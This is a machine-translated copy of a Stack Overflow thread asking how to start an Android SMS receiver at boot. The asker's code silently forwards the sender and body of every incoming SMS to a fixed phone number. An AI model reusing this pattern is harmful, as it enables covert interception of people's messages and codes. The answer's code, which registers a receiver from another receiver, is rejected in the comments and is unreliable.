2012-06-16 4 views
0

У меня есть класс приемника Sms Broadcast, который расширяет широковещательный приемник для обработки входящих смс, я хочу, чтобы он работал при загрузке. Как я могу активировать его из моего класса onBootReceiver, который также расширяет трансляцию?Звоните SmsBroadcastreceiver из onBootBroadcastreceiver?

мой SmsBroadcastReceiver.java взгляд, как этот

public class SmsBroadcastReceiver extends BroadcastReceiver { 

    @Override 
    public void onReceive(Context konteks, Intent intent) { 

    Log.v("SmsReceiver", "Tel Number: " + telNumber); 

    sendSMS(konteks, intent, telNumber); 
    } 


private void sendSMS(Context context, Intent intent, String phoneNumber) { 

    //ambil sms yang masuk 
    Bundle bundle = intent.getExtras(); 
    SmsMessage[] msgs = null; 
    if (bundle != null) { 

//menerima pesan dan menyalinnya untuk kemudian dikirim ke nomor tujuan 

     Object[] pdus = (Object[]) bundle.get("pdus"); 
     msgs = new SmsMessage[pdus.length]; 
     for (int i = 0; i < msgs.length; i++) { 
      msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]); 
      SmsManager sms = SmsManager.getDefault(); 
      String from = msgs[i].getDisplayOriginatingAddress(); 
      String message = msgs[i].getMessageBody().toString(); 
      String all = from + ":" + message; 
      Log.v("SmsReceiver", "SMS Message: " + all); 
      sms.sendTextMessage(phoneNumber, null, all, null, null); //kirim pesan 
     } 
    } 
} 
+1

«Я хочу заставить его работать на ботинке» - что вы подразумеваете под этим? «BroadcastReceiver» не «запускает», пока не получит широковещательную передачу. Ваш «BroadcastReceiver» будет запускаться при получении SMS-сообщения. Это совершенно нормально. Что вы пытаетесь выполнить во время загрузки? – CommonsWare

+0

«Готово» при запуске телефона? – galeka

+0

Да. Однако обратите внимание, что на Android 3.1 и выше пользователь должен запустить приложение после установки до того, как какой-либо из ваших «BroadcastReceivers» будет работать. – CommonsWare

ответ

0

В классе BootReceiver вы можете динамически зарегистрировать класс SmsBroadcastReceiver.

public class MyBootReceiver extends BroadcastReceiver { 

    @Override 
    public void onReceive(Context context, Intent intent) { 
     IntentFilter filter = new IntentFilter(); 
     filter.addAction("android.provider.Telephony.SMS_RECEIVED"); 
     registerReceiver(new SmsBroadcastReceiver(), filter); 
    } 

} 
+2

Нет, нет, нет, нет. Вы не можете зарегистрировать широковещательный приемник от другого широковещательного приемника, особенно там, где оригинал был зарегистрирован в манифесте. Процесс, на котором размещается 'MyBootReceiver', вероятно, будет завершен в течение нескольких секунд после окончания onReceive()' (потому что во время загрузки много сбоев процесса), что означает, что ваш «внутренний» приемник уходит. – CommonsWare

+0

Ох спасибо, что дайте мне знать.OP хотите зарегистрировать его только на ботинке, поэтому подумал, что это единственный способ. –

Смежные вопросы